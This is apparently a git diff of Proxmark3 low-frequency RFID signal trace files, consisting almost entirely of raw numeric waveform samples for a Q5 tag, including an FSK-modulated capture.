+-8 +-9 +-9 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-106 +-100 +-95 +-74 +-85 +-80 +-77 +-72 +-68 +-65 +-62 +-59 +-56 +-52 +-50 +-48 +-45 +-43 +-41 +-40 +-38 +-36 +-35 +-34 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +98 +93 +90 +85 +80 +75 +69 +63 +58 +51 +46 +41 +36 +31 +27 +24 +21 +18 +17 +15 +13 +11 +8 +7 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +103 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +114 +100 +91 +84 +82 +78 +76 +74 +71 +68 +65 +61 +57 +51 +47 +42 +-51 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-112 +-108 +-102 +-80 +-91 +-71 +-80 +-76 +-73 +-70 +-66 +-62 +-60 +-57 +-55 +-50 +-48 +-46 +-44 +-41 +-39 +-38 +-36 +-35 +-34 +-32 +-32 +-30 +-28 +-27 +-26 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +109 +103 +99 +96 +94 +90 +85 +80 +75 +70 +64 +58 +52 +47 +41 +37 +32 +29 +25 +22 +19 +17 +14 +12 +10 +8 +6 +4 +3 +2 +1 +0 +-1 +-2 +-4 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-108 +-101 +-95 +-74 +-86 +-81 +-75 +-72 +-68 +-65 +-61 +-58 +-56 +-53 +-50 +-48 +-45 +-43 +-41 +-39 +-37 +-36 +-34 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +116 +108 +104 +100 +97 +93 +90 +85 +81 +75 +69 +63 +57 +51 +46 +41 +36 +32 +28 +25 +22 +18 +16 +13 +12 +10 +8 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-98 +-107 +-100 +-95 +-74 +-85 +-80 +-76 +-72 +-68 +-65 +-62 +-59 +-56 +-54 +-51 +-48 +-46 +-43 +-42 +-39 +-38 +-36 +-35 +-34 +-32 +-30 +-30 +-29 +-28 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +97 +93 +89 +84 +80 +74 +69 +63 +58 +52 +46 +41 +37 +32 +29 +25 +22 +18 +16 +14 +11 +9 +8 +6 +4 +3 +2 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-10 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-103 +-97 +-107 +-101 +-95 +-74 +-85 +-81 +-76 +-72 +-69 +-65 +-61 +-58 +-55 +-53 +-50 +-47 +-46 +-44 +-42 +-40 +-38 +-37 +-36 +-33 +-32 +-31 +-31 +-29 +-27 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +116 +109 +105 +100 +96 +93 +90 +85 +81 +75 +69 +63 +58 +52 +-43 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-97 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +115 +102 +93 +86 +82 +78 +78 +76 +73 +69 +65 +61 +57 +52 +47 +41 +-51 +-112 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-97 +106 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +114 +100 +91 +86 +83 +80 +78 +76 +74 +70 +66 +61 +56 +52 +47 +42 +37 +32 +28 +24 +21 +18 +15 +12 +11 +9 +8 +6 +4 +3 +2 +0 +-1 +-3 +-4 +-5 +-5 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-11 +-12 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-112 +-106 +-101 +-96 +-74 +-85 +-81 +-77 +-72 +-68 +-65 +-62 +-59 +-56 +-52 +-50 +-47 +-45 +-43 +-40 +-39 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-28 +-28 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +108 +103 +100 +97 +93 +89 +85 +80 +75 +69 +64 +58 +52 +47 +42 +37 +32 +28 +25 +22 +19 +16 +14 +12 +10 +8 +6 +4 +3 +2 +1 +-1 +-1 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-104 +-98 +-108 +-101 +-95 +-74 +-85 +-81 +-76 +-72 +-69 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-45 +-42 +-41 +-38 +-37 +-35 +-34 +-33 +-32 +-31 +-30 +-28 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +116 +108 +103 +99 +97 +92 +89 +84 +80 +74 +69 +63 +57 +51 +46 +41 +36 +32 +28 +25 +22 +18 +16 +13 +11 +10 +8 +6 +5 +3 +2 +1 +0 +-1 +-2 +-4 +-4 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-11 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +102 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +98 +90 +84 +81 +78 +76 +73 +71 +68 +65 +60 +56 +51 +46 +42 +-51 +-112 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-104 +-97 +-107 +-101 +-79 +-89 +-69 +-81 +-76 +-72 +-68 +-64 +-62 +-58 +-55 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-37 +-35 +-33 +-33 +-32 +-30 +-29 +-27 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +108 +104 +99 +97 +93 +89 +84 +80 +74 +69 +63 +58 +52 +47 +42 +37 +32 +29 +25 +22 +19 +16 +14 +12 +10 +8 +6 +5 +3 +2 +0 +0 +-1 +-2 +-4 +-4 +-6 +-6 +-7 +-8 +-9 +-9 +-9 +-10 +-10 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-97 +-106 +-100 +-95 +-74 +-84 +-80 +-76 +-72 +-68 +-65 +-62 +-58 +-55 +-52 +-50 +-48 +-45 +-43 +-42 +-40 +-38 +-37 +-35 +-34 +-32 +-31 +-30 +-28 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +116 +109 +104 +99 +96 +93 +89 +85 +80 +74 +69 +63 +58 +52 +46 +40 +36 +31 +28 +24 +21 +18 +16 +13 +11 +9 +8 +6 +5 +3 +2 +0 +-1 +-2 +-2 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-103 +-112 +-107 +-101 +-95 +-73 +-85 +-81 +-77 +-72 +-68 +-65 +-62 +-59 +-55 +-52 +-50 +-48 +-46 +-43 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-30 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +108 +103 +99 +96 +93 +89 +85 +80 +75 +69 +63 +57 +52 +47 +41 +36 +32 +29 +25 +22 +19 +16 +14 +12 +10 +8 +6 +5 +3 +2 +1 +0 +-2 +-3 +-5 +-6 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-104 +-97 +-107 +-100 +-95 +-75 +-86 +-81 +-76 +-72 +-69 +-66 +-61 +-58 +-55 +-52 +-50 +-48 +-45 +-43 +-41 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-29 +-28 +-28 +-28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +110 +104 +100 +97 +93 +90 +84 +80 +74 +68 +63 +57 +51 +-43 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-102 +-112 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +114 +102 +92 +85 +82 +80 +78 +76 +74 +70 +66 +61 +57 +52 +47 +42 +37 +32 +29 +25 +22 +18 +15 +13 +11 +9 +7 +5 +4 +2 +2 +0 +-1 +-3 +-4 +-5 +-5 +-6 +-6 +-8 +-8 +-9 +-10 +-11 +-13 +-13 +-12 +-13 +-97 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +102 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +99 +91 +84 +81 +78 +76 +74 +72 +68 +65 +60 +56 +51 +46 +41 +-51 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-107 +-101 +-79 +-91 +-70 +-80 +-76 +-72 +-69 +-65 +-61 +-58 +-56 +-53 +-50 +-48 +-46 +-43 +-41 +-39 +-37 +-36 +-34 +-33 +-34 +-33 +-31 +-29 +-28 +-28 +-27 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +109 +104 +100 +97 +93 +90 +86 +81 +75 +70 +63 +58 +52 +47 +42 +37 +33 +29 +25 +22 +19 +16 +14 +11 +9 +7 +6 +4 +2 +1 +0 +-1 +-1 +-2 +-4 +-4 +-6 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-98 +-107 +-100 +-95 +-74 +-85 +-80 +-76 +-72 +-69 +-65 +-61 +-59 +-56 +-53 +-50 +-47 +-46 +-43 +-41 +-39 +-38 +-38 +-36 +-32 +-32 +-32 +-31 +-29 +-27 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +110 +104 +100 +97 +93 +89 +85 +80 +74 +69 +64 +58 +52 +47 +41 +36 +32 +28 +24 +22 +18 +16 +14 +12 +10 +8 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-10 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-108 +-100 +-95 +-74 +-86 +-80 +-76 +-72 +-69 +-65 +-61 +-58 +-56 +-53 +-50 +-48 +-46 +-45 +-44 +-40 +-38 +-37 +-36 +-33 +-32 +-30 +-30 +-28 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +109 +104 +100 +97 +93 +90 +85 +80 +74 +69 +64 +58 +52 +-42 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-105 +-98 +110 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +115 +101 +93 +86 +83 +80 +78 +76 +73 +70 +66 +61 +57 +51 +47 +42 +-51 +-112 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-99 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +101 +92 +86 +82 +80 +78 +75 +73 +69 +66 +61 +56 +52 +47 +42 +38 +33 +30 +26 +22 +19 +16 +14 +12 +9 +8 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-11 +-12 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-99 +-108 +-100 +-95 +-74 +-85 +-80 +-76 +-72 +-69 +-65 +-62 +-60 +-58 +-53 +-50 +-48 +-46 +-43 +-41 +-40 +-38 +-37 +-35 +-34 +-33 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +108 +104 +99 +96 +93 +89 +84 +80 +75 +70 +64 +59 +52 +47 +42 +37 +32 +28 +25 +22 +18 +16 +14 +12 +10 +8 +6 +4 +3 +2 +1 +-1 +-1 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-107 +-100 +-95 +-74 +-85 +-80 +-76 +-72 +-70 +-66 +-62 +-58 +-56 +-53 +-50 +-47 +-46 +-44 +-42 +-40 +-38 +-37 +-35 +-33 +-32 +-31 +-30 +-29 +-28 +-28 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +110 +105 +100 +98 +94 +90 +85 +80 +75 +70 +63 +58 +52 +47 +41 +37 +32 +29 +25 +22 +18 +16 +13 +11 +9 +8 +6 +5 +3 +2 +1 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-10 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-107 +-101 +-95 +-74 +-86 +-66 +-77 +-72 +-68 +-65 +-62 +-58 +-55 +-52 +-50 +-48 +-45 +-43 +-41 +-40 +-37 +-36 +-35 +-33 +-32 +-31 +-29 +-28 +-27 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +99 +97 +94 +90 +84 +80 +74 +69 +64 +58 +52 +-42 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-112 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +102 +94 +87 +84 +80 +79 +76 +74 +70 +66 +62 +57 +52 +47 +42 +-51 +-112 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-98 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +114 +100 +91 +85 +82 +80 +79 +75 +73 +69 +66 +62 +57 +52 +47 +42 +-51 +-112 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-99 +111 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +102 +93 +86 +83 +80 +78 +76 +74 +70 +66 +61 +57 +52 +48 +43 +37 +31 +28 +24 +22 +17 +15 +12 +11 +9 +8 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-4 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-10 +-11 +-12 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-107 +-101 +-95 +-74 +-85 +-80 +-76 +-72 +-67 +-64 +-61 +-58 +-55 +-53 +-51 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-30 +-29 +-28 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +108 +103 +99 +96 +93 +89 +84 +80 +75 +70 +64 +56 +51 +46 +40 +36 +32 +28 +25 +22 +19 +16 +14 +12 +10 +8 +7 +5 +4 +3 +1 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-106 +-100 +-95 +-74 +-85 +-80 +-76 +-73 +-69 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-45 +-44 +-41 +-40 +-38 +-37 +-36 +-34 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +97 +93 +90 +85 +81 +74 +70 +64 +58 +52 +-42 +-104 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-97 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +115 +101 +92 +85 +82 +80 +78 +75 +73 +69 +66 +61 +56 +51 +47 +42 +37 +32 +28 +24 +21 +18 +15 +13 +11 +8 +7 +5 +4 +2 +1 +0 +-1 +-2 +-3 +-4 +-4 +-6 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-11 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-98 +-106 +-101 +-95 +-74 +-85 +-80 +-77 +-73 +-68 +-65 +-62 +-58 +-56 +-53 +-51 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-29 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +109 +103 +99 +96 +92 +90 +85 +80 +75 +69 +63 +57 +51 +46 +41 +36 +32 +28 +25 +21 +18 +16 +13 +11 +9 +7 +6 +4 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-10 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-112 +-106 +-100 +-95 +-74 +-85 +-80 +-76 +-72 +-68 +-65 +-62 +-58 +-56 +-52 +-50 +-48 +-45 +-43 +-41 +-39 +-38 +-36 +-35 +-34 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +110 +104 +100 +97 +92 +89 +84 +80 +74 +69 +63 +58 +51 +47 +41 +37 +32 +28 +25 +22 +18 +16 +13 +11 +9 +8 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-8 +-10 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-103 +-97 +-107 +-100 +-95 +-74 +-85 +-81 +-76 +-72 +-69 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-46 +-43 +-42 +-39 +-38 +-36 +-34 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +98 +94 +90 +85 +80 +75 +70 +63 +57 +52 +46 +41 +36 +32 +28 +24 +21 +18 +16 +13 +11 +9 +8 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +101 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +98 +88 +81 +78 +76 +75 +72 +70 +66 +63 +58 +54 +48 +44 +39 +-54 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-106 +-98 +-107 +-101 +-80 +-91 +-70 +-80 +-77 +-73 +-69 +-65 +-61 +-59 +-56 +-53 +-50 +-48 +-46 +-44 +-41 +-40 +-38 +-36 +-34 +-33 +-32 +-31 +-29 +-28 +-27 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +109 +104 +100 +98 +93 +90 +84 +80 +75 +70 +64 +58 +52 +47 +41 +37 +32 +28 +24 +22 +18 +16 +14 +11 +9 +7 +6 +5 +3 +2 +1 +-1 +-2 +-4 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-9 +-10 +-10 +-10 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 diff --git a/traces/lf_Q5_mod-fsk1.pm3 b/traces/lf_Q5_mod-fsk1.pm3 index 0bba6e337..0b93899b7 100644 --- a/traces/lf_Q5_mod-fsk1.pm3 +++ b/traces/lf_Q5_mod-fsk1.pm3 @@ -1,24000 +1,24000 @@ --67 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --48 -68 -137 -134 -26 --69 --118 --118 --50 -64 -137 -134 -23 --66 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --46 -66 -137 -135 -23 --68 --118 --118 --46 -66 -137 -136 -25 --68 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --47 -68 -137 -136 -25 --67 --118 --118 --46 -65 -137 -134 -23 --67 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --48 -68 -137 -134 -24 --68 --118 --118 --48 -64 -137 -136 -23 --68 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -67 -137 -134 -23 --68 --118 --118 --48 -66 -137 -134 -23 --68 --118 --118 --47 -66 -137 -136 -23 --66 --118 --118 --45 -67 -137 -135 -24 --68 --118 --118 --46 -69 -137 -135 -25 --67 --118 --118 --45 -67 -137 -136 -24 --67 --118 --118 --46 -68 -137 -136 -25 --68 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --45 -68 -137 -135 -24 --68 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --48 -66 -137 -136 -26 --69 --118 --118 --46 -67 -137 -135 -24 --68 --118 --118 --47 -68 --28 --91 --101 -22 -119 -14 --75 --88 -27 -119 -13 --60 --96 -21 -113 -6 --79 --98 -18 -111 -6 --66 --99 -18 -112 -6 --81 --98 -19 -112 -7 --66 --99 -19 -110 -8 --81 --99 -18 -112 -7 --66 --99 -19 -110 -8 --82 --99 -19 -111 -7 --65 --98 -17 -113 -6 --80 --97 -19 -112 -6 --64 --97 -18 -112 -137 -137 -35 --59 --118 --118 --54 -58 -137 -130 -19 --72 --118 --118 --48 -66 -137 -135 -24 --67 --118 --118 --48 -66 -137 -135 -23 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --45 -67 -137 -136 -26 --67 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --48 -64 -137 -134 -22 --69 --118 --118 --50 -66 --24 --93 --87 -18 -122 -17 --59 --90 -24 -117 -15 -77 --98 -16 -112 -9 --65 --102 -14 -109 -8 --83 --101 -14 -112 -9 --65 